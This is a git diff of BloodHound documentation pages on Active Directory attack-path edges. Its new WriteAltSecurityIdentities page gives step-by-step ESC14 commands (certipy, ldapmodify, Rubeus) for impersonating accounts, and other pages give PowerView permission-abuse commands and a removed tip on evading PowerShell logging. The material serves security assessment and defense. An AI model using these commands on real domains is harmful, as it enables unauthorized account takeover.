+JOIN sys.server_audit_specification_details AS d
+ON s.server_specification_id = d.server_specification_id
```
View database specifications:
```
SELECT a.audit_id,
a.name as audit_name,
-s.name as database\_specification\_name,
-d.audit\_action\_name,
+s.name as database_specification_name,
+d.audit_action_name,
d.major_id,
OBJECT_NAME(d.major_id) as object,
-s.is\_state\_enabled,
+s.is_state_enabled,
d.is_group, s.create_date,
s.modify_date,
d.audited_result
FROM sys.server_audits AS a
-JOIN sys.database\_audit\_specifications AS s
+JOIN sys.database_audit_specifications AS s
ON a.audit_guid = s.audit_guid
-JOIN sys.database\_audit\_specification_details AS d
-ON s.database\_specification\_id = d.database\_specification\_id
+JOIN sys.database_audit_specification_details AS d
+ON s.database_specification_id = d.database_specification_id
```
If server audit specifications are configured on the SQL Server, event ID 15457 logs may be created in the Windows Application log when SQL Server level configurations are changed to facilitate OS command execution.
diff --git a/docs/resources/edges/sync-laps-password.mdx b/docs/resources/edges/sync-laps-password.mdx
index fc803451..34b66a1c 100644
--- a/docs/resources/edges/sync-laps-password.mdx
+++ b/docs/resources/edges/sync-laps-password.mdx
@@ -3,7 +3,9 @@ title: SyncLAPSPassword
description: "A principal with this signifies the capability of retrieving, through a directory synchronization, the value of confidential and RODC filtered attributes, such as LAPS’ _ms-Mcs-AdmPwd_."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Abuse Info
diff --git a/docs/resources/edges/synced-to-ad-user.mdx b/docs/resources/edges/synced-to-ad-user.mdx
index 57bcd57b..e8f082db 100644
--- a/docs/resources/edges/synced-to-ad-user.mdx
+++ b/docs/resources/edges/synced-to-ad-user.mdx
@@ -3,7 +3,9 @@ title: SyncedToADUser
description: The Entra user is synchronized to the on-prem AD user.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
The Entra user may be able to authenticate as the on-prem AD user with its own password if password write-back is enabled. The Entra user may already have the same password as the on-prem user if password hash synchronization is enabled.
diff --git a/docs/resources/edges/synced-to-entra-user.mdx b/docs/resources/edges/synced-to-entra-user.mdx
index 8e639a61..f90f3370 100644
--- a/docs/resources/edges/synced-to-entra-user.mdx
+++ b/docs/resources/edges/synced-to-entra-user.mdx
@@ -3,7 +3,9 @@ title: SyncedToEntraUser
description: The on-prem AD user is synchronized to the Entra ID user.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
The on-prem user may be able to authenticate as the Entra user with its own password if password hash synchronization, pass-through authentication, or seamless single sign-on is enabled.
@@ -26,4 +28,4 @@ Traversable: **Yes**
* [What is Password Hybrid Sync](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs)
* [How to connect Pass-Through Auth](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta)
* [How to connect Single Sign-on](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso)
-* [Hybrid Attack Paths: New Views and Your Favorite Dog Learns an Old Trick](https://specterops.io/blog/2024/08/02/hybrid-attack-paths-new-views-and-your-favorite-dog-learns-an-old-trick/)
\ No newline at end of file
+* [Hybrid Attack Paths: New Views and Your Favorite Dog Learns an Old Trick](https://specterops.io/blog/2024/08/02/hybrid-attack-paths-new-views-and-your-favorite-dog-learns-an-old-trick/)
diff --git a/docs/resources/edges/traversable-edges.mdx b/docs/resources/edges/traversable-edges.mdx
index 23d8fa1a..c392afca 100644
--- a/docs/resources/edges/traversable-edges.mdx
+++ b/docs/resources/edges/traversable-edges.mdx
@@ -3,23 +3,21 @@ title: Traversable and Non-Traversable Edge Types
description: Details on traversable and non-traversable edge types in BloodHound
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Traversable Edges
Most edges in BloodHound are traversable, representing a relationship between two nodes where the starting node can take control of the ending node to a degree that allows an attacker to abuse outgoing edges.
-For example, consider the ForceChangePassword edge:
+For example, consider the [ForceChangePassword](/resources/edges/force-change-password) edge:
-The Service Desk group has permission to force change the password of Bob without knowing Bob's current password. An attacker can abuse this to change the password, log in as Bob, and exploit Bob's privileges. Traversable edges like ForceChangePassword facilitate graph traversal and enable the pathfinding logic in BloodHound.
+The Service Desk group has permission to force change the password of Bob without knowing Bob's current password. An attacker can abuse this to change the password, log in as Bob, and exploit Bob's privileges. Traversable edges like [ForceChangePassword](/resources/edges/force-change-password) facilitate graph traversal and enable the pathfinding logic in BloodHound.
These are the traversable AD edge types in BloodHound:
@@ -43,8 +41,8 @@ These are the traversable AD edge types in BloodHound:
| [OwnsLimitedRights](/resources/edges/owns-limited-rights) | [ReadGMSAPassword](/resources/edges/read-gmsa-password) | [ReadLAPSPassword](/resources/edges/read-laps-password) |
| [SameForestTrust](/resources/edges/same-forest-trust) | [SpoofSIDHistory](/resources/edges/spoof-sid-history) | [SQLAdmin](/resources/edges/sql-admin) |
| [SyncedToADUser](/resources/edges/synced-to-ad-user) | [SyncedToEntraUser](/resources/edges/synced-to-entra-user) | [SyncLAPSPassword](/resources/edges/sync-laps-password) |
-| [WriteAccountRestrictions](/resources/edges/write-account-restrictions)| [WriteDacl](/resources/edges/write-dacl) | [WriteGPLink](/resources/edges/write-gp-link) |
-| [WriteOwner](/resources/edges/write-owner) | [WriteOwnerLimitedRights](/resources/edges/write-owner-limited-rights) | [WriteSPN](/resources/edges/write-spn) |
+| [WriteAccountRestrictions](/resources/edges/write-account-restrictions)| [WriteDacl](/resources/edges/write-dacl) | [WriteGPLink](/resources/edges/write-gp-link) |
+| [WriteOwner](/resources/edges/write-owner) | [WriteOwnerLimitedRights](/resources/edges/write-owner-limited-rights) | [WriteSPN](/resources/edges/write-spn) |
These are the traversable Azure edge types in BloodHound:
@@ -65,15 +63,15 @@ These are the traversable Azure edge types in BloodHound:
## Non-Traversable Edges
-If you cannot abuse a given relationship between two nodes to take control of the end node, then the relationship is non-traversable. However, some non-traversable relationships can form a traversable relationship when combined. An example is the DCSync attack narrative. GetChanges and GetChangesAll permissions on the domain object combined enable you to perform the DCSync attack. GetChanges and GetChangesAll are non-traversable edges, and BloodHound uses them to produce the traversable DCSync edge in what we call the post-processing logic.
+If you cannot abuse a given relationship between two nodes to take control of the end node, then the relationship is non-traversable. However, some non-traversable relationships can form a traversable relationship when combined. An example is the [DCSync](/resources/edges/dc-sync) attack narrative. [GetChanges](/resources/edges/get-changes) and [GetChangesAll](/resources/edges/get-changes-all) permissions on the domain object combined enable you to perform the DCSync attack. GetChanges and GetChangesAll are non-traversable edges, and BloodHound uses them to produce the traversable DCSync edge in what we call the post-processing logic.
-Pathfinding includes only traversable edges. As a result, you might get a DCSync edge in a path like this:
+Pathfinding includes only traversable edges. As a result, you might get a [DCSync](/resources/edges/dc-sync) edge in a path like this:
-But you will not see any GetChanges or GetChangesAll edge. However, you can use Cypher to reveal the GetChanges and GetChangeAll edges that the DCSync edge relies on:
+But you will not see any [GetChanges](/resources/edges/get-changes) or [GetChangesAll](/resources/edges/get-changes-all) edge. However, you can use Cypher to reveal the GetChanges and GetChangesAll edges that the [DCSync](/resources/edges/dc-sync) edge relies on:
@@ -99,4 +97,4 @@ These are the non-traversable Azure edge types in BloodHound:
| [AZMGAppRoleAssignment_ReadWrite_All](/resources/edges/az-mg-app-role-assignment-readwrite-all) | [AZMGGroup_ReadWrite_All](/resources/edges/az-mg-group-readwrite-all) |
| [AZMGApplication_ReadWrite_All](/resources/edges/az-mg-application-readwrite-all) | [AZMGRoleManagement_ReadWrite_Directory](/resources/edges/az-mg-role-management-readwrite-directory) |
| [AZMGDirectory_ReadWrite_All](/resources/edges/az-mg-directory-readwrite-all) | [AZMGServicePrincipalEndpoint_ReadWrite_All](/resources/edges/az-mg-service-principal-endpoint-readwrite-all) |
-| [AZMGGroupMember_ReadWrite_All](/resources/edges/az-mg-group-member-readwrite-all) | |
\ No newline at end of file
+| [AZMGGroupMember_ReadWrite_All](/resources/edges/az-mg-group-member-readwrite-all) | |
diff --git a/docs/resources/edges/trusted-for-nt-auth.mdx b/docs/resources/edges/trusted-for-nt-auth.mdx
index c4847b63..5fdb19d2 100644
--- a/docs/resources/edges/trusted-for-nt-auth.mdx
+++ b/docs/resources/edges/trusted-for-nt-auth.mdx
@@ -3,9 +3,12 @@ title: TrustedForNTAuth
description: The NTAuthStore contains the certificate of the Enterprise CA.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AdcsRelationshipCertificateIssuanceOpsec from '/snippets/edges/adcs-relationship-certificate-issuance-opsec.mdx';
-The consequence of the relationship is that certificate issued by the Enterprise CA are trusted for authentication in the AD forest of the NTAuthStore.
+
+
+The consequence of the relationship is that certificate issued by the Enterprise CA are trusted for authentication in the AD forest of the [NTAuthStore](/resources/nodes/nt-auth-store).
## Abuse Info
@@ -13,7 +16,7 @@ An attacker may perform several attacks that rely on an Enterprise CA to be trus
## Opsec Considerations
-When an attacker abuses a privilege escalation or impersonation primitive that relies on this relationship, it will necessarily result in the issuance of a certificate. A copy of the issued certificate will be saved on the host that issued the certificate.
+
## Edge Schema
diff --git a/docs/resources/edges/write-account-restrictions.mdx b/docs/resources/edges/write-account-restrictions.mdx
index 4ba5b12e..f1049732 100644
--- a/docs/resources/edges/write-account-restrictions.mdx
+++ b/docs/resources/edges/write-account-restrictions.mdx
@@ -3,10 +3,12 @@ title: WriteAccountRestrictions
description: This edge indicates the principal has the ability to modify several properties on the target principal, most notably the msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
-The ability to modify the msDS-AllowedToActOnBehalfOfOtherIdentity property allows an attacker to abuse resource-based constrained delegation to compromise the remote computer system. This property is a binary DACL that controls what security principals can pretend to be any domain user to the particular computer object.
+
+The ability to modify the `msDS-AllowedToActOnBehalfOfOtherIdentity` property allows an attacker to abuse resource-based constrained delegation to compromise the remote computer system. This property is a binary DACL that controls what security principals can pretend to be any domain user to the particular computer object.
This clip demonstrates how to abuse this edge:
@@ -14,11 +16,11 @@ This clip demonstrates how to abuse this edge:
## Abuse Info
-See the AllowedToAct edge section for abuse info
+See the [AllowedToAct](/resources/edges/allowed-to-act) edge section for abuse info
## Opsec Considerations
-See the AllowedToAct edge section for opsec considerations
+See the [AllowedToAct](/resources/edges/allowed-to-act) edge section for opsec considerations
## Edge Schema
@@ -31,4 +33,4 @@ Traversable: **Yes**
* [https://attack.mitre.org/techniques/T1098/](https://attack.mitre.org/techniques/T1098/)
* [https://dirkjanm.io/abusing-forgotten-permissions-on-precreated-computer-objects-in-active-directory/](https://dirkjanm.io/abusing-forgotten-permissions-on-precreated-computer-objects-in-active-directory/)
* [https://docs.microsoft.com/en-us/windows/win32/adschema/r-user-account-restrictions](https://docs.microsoft.com/en-us/windows/win32/adschema/r-user-account-restrictions)
-* [https://specterops.io/blog/2022/08/03/introducing-bloodhound-4-2-the-azure-refactor/](https://specterops.io/blog/2022/08/03/introducing-bloodhound-4-2-the-azure-refactor/)
\ No newline at end of file
+* [https://specterops.io/blog/2022/08/03/introducing-bloodhound-4-2-the-azure-refactor/](https://specterops.io/blog/2022/08/03/introducing-bloodhound-4-2-the-azure-refactor/)
diff --git a/docs/resources/edges/write-alt-security-identities.mdx b/docs/resources/edges/write-alt-security-identities.mdx
new file mode 100644
index 00000000..2c2fc5a3
--- /dev/null
+++ b/docs/resources/edges/write-alt-security-identities.mdx
@@ -0,0 +1,163 @@
+---
+title: WriteAltSecurityIdentities
+description: "The principal can write to the altSecurityIdentities attribute on a user or computer, enabling explicit certificate mappings and ADCS ESC14 Scenario A."
+hidden: true
+---
+
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
+
+The `altSecurityIdentities` attribute stores explicit certificate mappings for a principal. An explicit certificate mapping links a specific certificate to the target as an alternative to the normal certificate-to-account mapping rules, allowing authentication as that principal.
+
+## Abuse Info
+
+Write access to `altSecurityIdentities` may enable an ADCS ESC14 Scenario A attack.
+
+An attacker can add an explicit certificate mapping on the target that refers to a certificate in the attacker's possession, then use that certificate to authenticate as the target.
+
+The certificate must meet the following requirements:
+
+1. Chain up to a trusted root CA on the domain controller.
+2. Include an Enhanced Key Usage (EKU) extension that enables domain authentication.
+3. Not include an Other Name / Principal Name entry (UPN) in the Subject Alternative Name (SAN).
+
+The EKUs that enable domain authentication over Kerberos are:
+
+* Client Authentication (`1.3.6.1.5.5.7.3.2`)
+* PKINIT Client Authentication (`1.3.6.1.5.2.3.4`)
+* Smart Card Logon (`1.3.6.1.4.1.311.20.2.2`)
+* Any Purpose (`2.5.29.37.0`)
+* SubCA (no EKUs)
+
+The last certificate requirement means user certificates typically do not work, so the certificate usually must be for a computer. By default, the ADCS certificate template `Computer (Machine)` meets these requirements and grants Domain Computers enrollment rights. The target can still be a user.
+
+The last requirement does not apply if a domain controller has UPN mapping disabled. See [How to disable the Subject Alternative Name for UPN mapping](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/ff520074(v=ws.10)).
+
+If the attacker cannot obtain a suitable certificate from the target environment, they may also be able to use a third-party Client Authentication certificate.
+
+This works because explicit certificate mapping differs from implicit certificate mapping. Implicit mapping requires the certificate to chain to a CA certificate in the domain controller's NTAuth store. Explicit mapping does not. For explicit mapping, the certificate only needs to chain to a trusted root CA on the domain controller.
+
+Windows trusts many third-party root CAs by default, so an attacker may be able to buy or steal a third-party certificate with the Client Authentication EKU and use it for ESC14 Scenario A. For example, providers such as [SSL.com](https://www.ssl.com/products/device-machine-trust/client-authentication/) are trusted by Windows and offer client authentication certificates.
+
+The abuse is possible with the strong explicit certificate mappings `X509IssuerSerialNumber` or `X509SHA1PublicKey`. The examples below use `X509SHA1PublicKey`.
+
+### Linux
+
+Obtain a certificate that meets the requirements above, for example by dumping a certificate from a computer or enrolling a new certificate as a computer:
+
+```bash
+certipy req -u computername -p Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC14
+```
+
+If enrollment fails because an email or DNS name is unavailable and cannot be added to the Subject or SAN, the enrollee principal does not have its `mail` or `dNSHostName` attribute set as required by the certificate template. The `mail` attribute can be set on users and computers, but `dNSHostName` can only be set on computers. Computers have validated write permission to their own `dNSHostName` attribute by default, but neither users nor computers can write to their own `mail` attribute by default.
+
+Get the SHA1 hash of the certificate public key:
+
+```bash
+openssl pkcs12 -info -in computername.pfx -nokeys | openssl x509 -noout -sha1 -fingerprint | tr -d ':' | tr '[:upper:]' '[:lower:]'
+...
+sha1 fingerprint=f61331a504cff8cb5e60c269632c31aa3032a54a
+```
+
+Add the explicit certificate mapping string to the target principal:
+
+```bash
+echo -e "dn: CN=Target,CN=Users,DC=forestroot,DC=com\nchangetype: modify\nadd: altSecurityIdentities\naltSecurityIdentities: X509:f61331a504cff8cb5e60c269632c31aa3032a54a" | ldapmodify -x -D "CN=Attacker,CN=Users,DC=forestroot,DC=com" -w 'PWD' -h forestroot.com
+```
+
+Verify that the mapping was added:
+
+```bash
+ldapsearch -x -D "CN=Attacker,CN=Users,DC=forestroot,DC=com" -w 'PWD' -h "forestroot.com" -b "CN=Target,CN=Users,DC=forestroot,DC=com" altSecurityIdentities
+```
+
+Request a ticket granting ticket (TGT) from the domain using the certificate:
+
+```bash
+certipy auth -pfx computername.pfx -dc-ip 172.16.126.128
+```
+
+After the abuse, remove the explicit certificate mapping string from the target principal:
+
+```bash
+echo -e "dn: CN=Target,CN=Users,DC=forestroot,DC=com\nchangetype: modify\ndelete: altSecurityIdentities\naltSecurityIdentities: X509:f61331a504cff8cb5e60c269632c31aa3032a54a" | ldapmodify -x -D "CN=Attacker,CN=Users,DC=forestroot,DC=com" -w 'PWD' -h forestroot.com
+```
+
+### Windows
+
+Obtain a certificate that meets the requirements above, for example by dumping a certificate from a computer or enrolling a new certificate as a computer with Certify (2.0):
+
+```powershell
+Certify.exe request --ca ca01.forestroot.com\Forestroot-CA01-CA --template Machine --machine --output-pem
+```
+
+Save the certificate as `cert.pem` and the private key as `cert.key`, then convert it to a PFX file:
+
+```powershell
+certutil.exe -MergePFX .\cert.pem .\cert.pfx
+```
+
+Get the SHA1 hash of the certificate public key:
+
+```powershell
+certutil.exe -dump -v .\cert.pfx
+...
+Cert Hash(sha1): ef9375785421d3ad286d8bdeb166f0f697266992
+...
+```
+
+Add the explicit certificate mapping string to the target principal:
+
+```powershell
+Add-AltSecIDMapping -DistinguishedName "CN=Target,CN=Users,DC=forestroot,DC=com" -MappingString "X509:ef9375785421d3ad286d8bdeb166f0f697266992"
+```
+
+Verify that the mapping was added:
+
+```powershell
+Get-AltSecIDMapping -SearchBase "CN=Target,CN=Users,DC=forestroot,DC=com"
+```
+
+Request a TGT from the domain using the target identity and the PFX-formatted certificate:
+
+```powershell
+Rubeus.exe asktgt /user:"forestroot\target" /certificate:cert.pfx /ptt
+```
+
+After the abuse, remove the explicit certificate mapping string from the target principal:
+
+```powershell
+Remove-AltSecIDMapping -DistinguishedName "CN=Target,CN=Users,DC=forestroot,DC=com" -MappingString "X509:ef9375785421d3ad286d8bdeb166f0f697266992"
+```
+
+## Opsec Considerations
+
+When the affected certificate authority issues the certificate to the attacker, it retains a local copy of that certificate in its issued certificates store. Defenders may analyze issued certificates to identify illegitimately issued certificates and the principal that requested them.
+
+## Edge Schema
+
+Source: [User](/resources/nodes/user), [Group](/resources/nodes/group), [Computer](/resources/nodes/computer)
+Destination: [User](/resources/nodes/user), [Computer](/resources/nodes/computer)
+Traversable: **Yes**
+
+## References
+
+This edge is related to the following MITRE ATT&CK technique:
+
+* [T1098: Account Manipulation](https://attack.mitre.org/techniques/T1098/)
+
+### Abuse and Opsec references
+
+* [ADCS ESC14 Abuse Technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9)
+* [Certified Pre-Owned - Abusing Active Directory Certificate Services](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf)
+* [How to disable the Subject Alternative Name for UPN mapping](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/ff520074(v=ws.10))
+* [Certipy](https://github.com/ly4k/Certipy)
+* [Certify](https://github.com/GhostPack/Certify)
+* [Rubeus](https://github.com/GhostPack/Rubeus)
+* [Add-AltSecIDMapping.ps1](https://github.com/JonasBK/Powershell/blob/master/Add-AltSecIDMapping.ps1)
+* [Get-AltSecIDMapping.ps1](https://github.com/JonasBK/Powershell/blob/master/Get-AltSecIDMapping.ps1)
+* [Remove-AltSecIDMapping.ps1](https://github.com/JonasBK/Powershell/blob/master/Remove-AltSecIDMapping.ps1)
+* [ldapsearch](https://linux.die.net/man/1/ldapsearch)
+* [ldapmodify](https://linux.die.net/man/1/ldapmodify)
+* [certutil](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil)
diff --git a/docs/resources/edges/write-dacl.mdx b/docs/resources/edges/write-dacl.mdx
index 0c8243f6..d2dd7a11 100644
--- a/docs/resources/edges/write-dacl.mdx
+++ b/docs/resources/edges/write-dacl.mdx
@@ -3,7 +3,10 @@ title: WriteDacl
description: With write access to the target object’s DACL, you can grant yourself any privilege you want on the object.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AdPermissionModificationOpsec from '/snippets/edges/ad-permission-modification-opsec.mdx';
+
+
## Abuse Info
@@ -42,27 +45,25 @@ Add-DomainObjectAcl -TargetIdentity testlab.local -Rights All
See the abuse info for [GenericAll](/resources/edges/generic-all) over a domain for more information about how to continue from there.
-**GPOs**
+**[GPOs](/resources/nodes/gpo)**
-With WriteDACL over a GPO, grant yourself full control of the GPO:
+With WriteDACL over a [GPO](/resources/nodes/gpo), grant yourself full control of the GPO:
Add-DomainObjectAcl -TargetIdentity TestGPO -Rights All
-See the abuse info for [GenericAll](/resources/edges/generic-all) over a GPO for more information about how to continue from there.
+See the abuse info for [GenericAll](/resources/edges/generic-all) over a [GPO](/resources/nodes/gpo) for more information about how to continue from there.
-**OUs**
+**[OUs](/resources/nodes/ou)**
-With WriteDACL over an OU, grant yourself full control of the OU:
+With WriteDACL over an [OU](/resources/nodes/ou), grant yourself full control of the OU:
Add-DomainObjectAcl -TargetIdentity (OU GUID) -Rights All
-See the abuse info for [GenericAll](/resources/edges/generic-all) over an OU for more information about how to continue from there.
+See the abuse info for [GenericAll](/resources/edges/generic-all) over an [OU](/resources/nodes/ou) for more information about how to continue from there.
## Opsec Considerations
-When using the PowerView functions, keep in mind that PowerShell v5 introduced several security mechanisms that make it much easier for defenders to see what’s going on with PowerShell in their network, such as script block logging and AMSI. You can bypass those security mechanisms by downgrading to PowerShell v2, which all PowerView functions support.
-
-Modifying permissions on an object will generate 4670 and 4662 events on the domain controller that handled the request.
+
Additional opsec considerations depend on the target object and how to take advantage of this privilege.
diff --git a/docs/resources/edges/write-gp-link.mdx b/docs/resources/edges/write-gp-link.mdx
index 76f0dbdb..793bae8a 100644
--- a/docs/resources/edges/write-gp-link.mdx
+++ b/docs/resources/edges/write-gp-link.mdx
@@ -3,27 +3,28 @@ title: WriteGPLink
description: The WriteGPLink edge indicates that the principal has the permissions to modify the gPLink attribute of the targeted OU/domain node.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import GpoAbuseTools from '/snippets/edges/gpo-abuse-tools.mdx';
-The ability to alter the gPLink attribute may allow an attacker to apply a malicious Group Policy Object (GPO) to all child user and computer objects (including the ones located in nested OUs). This can be exploited to make said child objects execute arbitrary commands through an immediate scheduled task, thus compromising them.
+
+
+The ability to alter the `gPLink` attribute may allow an attacker to apply a malicious Group Policy Object ([GPO](/resources/nodes/gpo)) to all child user and computer objects (including the ones located in nested [OUs](/resources/nodes/ou)). This can be exploited to make said child objects execute arbitrary commands through an immediate scheduled task, thus compromising them.
## Abuse Info
-An attacker with permission to modify the gPLink attribute can link GPOs to the object, affecting all contained users and computers. The GPO can be weaponized by injecting a malicious configuration, such as a scheduled task executing a malicious script.
+An attacker with permission to modify the `gPLink` attribute can link [GPOs](/resources/nodes/gpo) to the object, affecting all contained users and computers. The GPO can be weaponized by injecting a malicious configuration, such as a scheduled task executing a malicious script.
-The GPO can be linked as enforced to bypass blocked GPO inheritance. WMI or security filtering can be used to limit the impact to specific accounts, which is important in environments with many users or computers under the affected scope.
+The [GPO](/resources/nodes/gpo) can be linked as enforced to bypass blocked GPO inheritance. WMI or security filtering can be used to limit the impact to specific accounts, which is important in environments with many users or computers under the affected scope.
-Refer to [A Red Teamer's Guide to GPOs and OUs](https://wald0.com/?p=179) for details about the abuse technique, and check out the following tools for practical exploitation:
- - **Windows**: [SharpGPOAbuse](https://github.com/FSecureLABS/SharpGPOAbuse)
- - **Linux**: [pyGPOAbuse](https://github.com/Hackndo/pyGPOAbuse)
+
### Without control over a GPO
-An attacker can still execute the attack without control over a GPO by setting up a fake LDAP server to host a GPO. This approach requires the ability to add non-existent DNS records and create machine accounts, or access to a compromised domain-joined machine. However, this method is complex and requires significant setup.
+An attacker can still execute the attack without control over a [GPO](/resources/nodes/gpo) by setting up a fake LDAP server to host a GPO. This approach requires the ability to add non-existent DNS records and create machine accounts, or access to a compromised domain-joined machine. However, this method is complex and requires significant setup.
-From a domain-joined compromised Windows machine, the write access to the gPLink attribute may be abused through Powermad, PowerView and native Windows functionalities. For a detailed outline of exploit requirements and implementation, you can refer to this article: [OU having a laugh?](https://labs.withsecure.com/publications/ou-having-a-laugh)
+From a domain-joined compromised Windows machine, the write access to the `gPLink` attribute may be abused through Powermad, PowerView and native Windows functionalities. For a detailed outline of exploit requirements and implementation, you can refer to this article: [OU having a laugh?](https://labs.withsecure.com/publications/ou-having-a-laugh)
-From a Linux machine, the write access to the gPLink attribute may be abused using the [OUned.py](https://github.com/synacktiv/OUned) exploitation tool. For a detailed outline of exploit requirements and implementation, you can refer to [the article associated to the OUned.py tool](https://www.synacktiv.com/publications/ounedpy-exploiting-hidden-organizational-units-acl-attack-vectors-in-active-directory).
+From a Linux machine, the write access to the `gPLink` attribute may be abused using the [OUned.py](https://github.com/synacktiv/OUned) exploitation tool. For a detailed outline of exploit requirements and implementation, you can refer to [the article associated to the OUned.py tool](https://www.synacktiv.com/publications/ounedpy-exploiting-hidden-organizational-units-acl-attack-vectors-in-active-directory).
## Opsec Considerations
diff --git a/docs/resources/edges/write-owner-limited-rights.mdx b/docs/resources/edges/write-owner-limited-rights.mdx
index 8b881cce..ede1671b 100644
--- a/docs/resources/edges/write-owner-limited-rights.mdx
+++ b/docs/resources/edges/write-owner-limited-rights.mdx
@@ -3,7 +3,9 @@ title: WriteOwnerLimitedRights
description: "When specific privileges on an object's DACL are explicitly granted to the `OWNER RIGHTS` SID (S-1-3-4), and inheritance is configured for those permissions, they are inherited by the new object owner after a change in ownership. In this case, implicit owner rights are blocked, and the new owner is granted only the specific inherited privileges granted to `OWNER RIGHTS`."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Abuse Info
diff --git a/docs/resources/edges/write-owner-raw.mdx b/docs/resources/edges/write-owner-raw.mdx
index b088ba1d..e2aebb9c 100644
--- a/docs/resources/edges/write-owner-raw.mdx
+++ b/docs/resources/edges/write-owner-raw.mdx
@@ -3,7 +3,9 @@ title: WriteOwnerRaw
description: "This edge is established from the principal that can change the owner of an object to the owned object. This edge is processed further to determine whether implicit owner rights (e.g., WriteDacl) are blocked, which may prevent the owner from compromising the destination object."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Edge Schema
diff --git a/docs/resources/edges/write-owner.mdx b/docs/resources/edges/write-owner.mdx
index 814170b4..fc89b024 100644
--- a/docs/resources/edges/write-owner.mdx
+++ b/docs/resources/edges/write-owner.mdx
@@ -3,7 +3,10 @@ title: WriteOwner
description: Object owners retain the ability to modify object security descriptors, regardless of permissions on the object’s DACL.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AdPermissionModificationOpsec from '/snippets/edges/ad-permission-modification-opsec.mdx';
+
+
This clip shows an example of abusing this edge:
@@ -26,15 +29,13 @@ Then, use Set-DomainObjectOwner, optionally specifying $Cred if you are not alre
Set-DomainObjectOwner -Credential $Cred -TargetIdentity "Domain Admins" -OwnerIdentity harmj0y
```
-Now, with ownership of the object, you may modify the DACL of the object however you wish. For more information about that, see the WriteDacl edge section.
+Now, with ownership of the object, you may modify the DACL of the object however you wish. For more information about that, see the [WriteDacl](/resources/edges/write-dacl) edge section.
## Opsec Considerations
This depends on the target object and how to take advantage of this privilege.
-When using the PowerView functions, keep in mind that PowerShell v5 introduced several security mechanisms that make it much easier for defenders to see what’s going on with PowerShell in their network, such as script block logging and AMSI. You can bypass those security mechanisms by downgrading to PowerShell v2, which all PowerView functions support.
-
-Modifying permissions on an object will generate 4670 and 4662 events on the domain controller that handled the request.
+
## Edge Schema
@@ -45,4 +46,4 @@ Traversable: **Yes**
## References
* [https://www.youtube.com/watch?v=z8thoG7gPd0](https://www.youtube.com/watch?v=z8thoG7gPd0)
-* [https://specterops.io/blog/2017/05/15/bloodhound-1-3-the-acl-attack-path-update/](https://specterops.io/blog/2017/05/15/bloodhound-1-3-the-acl-attack-path-update/)
\ No newline at end of file
+* [https://specterops.io/blog/2017/05/15/bloodhound-1-3-the-acl-attack-path-update/](https://specterops.io/blog/2017/05/15/bloodhound-1-3-the-acl-attack-path-update/)
diff --git a/docs/resources/edges/write-pki-enrollment-flag.mdx b/docs/resources/edges/write-pki-enrollment-flag.mdx
index fa198b92..4e2e10a1 100644
--- a/docs/resources/edges/write-pki-enrollment-flag.mdx
+++ b/docs/resources/edges/write-pki-enrollment-flag.mdx
@@ -3,7 +3,10 @@ title: WritePKIEnrollmentFlag
description: The attacker principal has the ability to write to the msPKI-Enrollment-Flag attribute on the victim principal, which allows the attacker principal to configure "manager approval" for the certificate template and other settings.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AdcsRelationshipCertificateIssuanceOpsec from '/snippets/edges/adcs-relationship-certificate-issuance-opsec.mdx';
+
+
## Abuse Info
@@ -12,7 +15,7 @@ This relationship alone is not enough to perform a privilege escalation or imper
## Opsec Considerations
-When an attacker abuses a privilege escalation or impersonation primitive that relies on this relationship, it will necessarily result in the issuance of a certificate. A copy of the issued certificate will be saved on the host that issued the certificate.
+
## Edge Schema
diff --git a/docs/resources/edges/write-pki-name-flag.mdx b/docs/resources/edges/write-pki-name-flag.mdx
index fff4d5ad..e5396085 100644
--- a/docs/resources/edges/write-pki-name-flag.mdx
+++ b/docs/resources/edges/write-pki-name-flag.mdx
@@ -3,7 +3,10 @@ title: WritePKINameFlag
description: The attacker principal has the ability to write to the msPKI-Certificate-Name-Flag attribute on the victim principal, which allows the attacker principal to configure "enrollee supplies subject" for the certificate template and other settings.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AdcsRelationshipCertificateIssuanceOpsec from '/snippets/edges/adcs-relationship-certificate-issuance-opsec.mdx';
+
+
## Abuse Info
@@ -12,7 +15,7 @@ This relationship alone is not enough to perform a privilege escalation or imper
## Opsec Considerations
-When an attacker abuses a privilege escalation or impersonation primitive that relies on this relationship, it will necessarily result in the issuance of a certificate. A copy of the issued certificate will be saved on the host that issued the certificate.
+
## Edge Schema
diff --git a/docs/resources/edges/write-public-information.mdx b/docs/resources/edges/write-public-information.mdx
new file mode 100644
index 00000000..db069bf7
--- /dev/null
+++ b/docs/resources/edges/write-public-information.mdx
@@ -0,0 +1,40 @@
+---
+title: WritePublicInformation
+description: "The principal can write to the Public-Information property set on a user or computer, including altSecurityIdentities and servicePrincipalName."
+hidden: true
+---
+
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
+
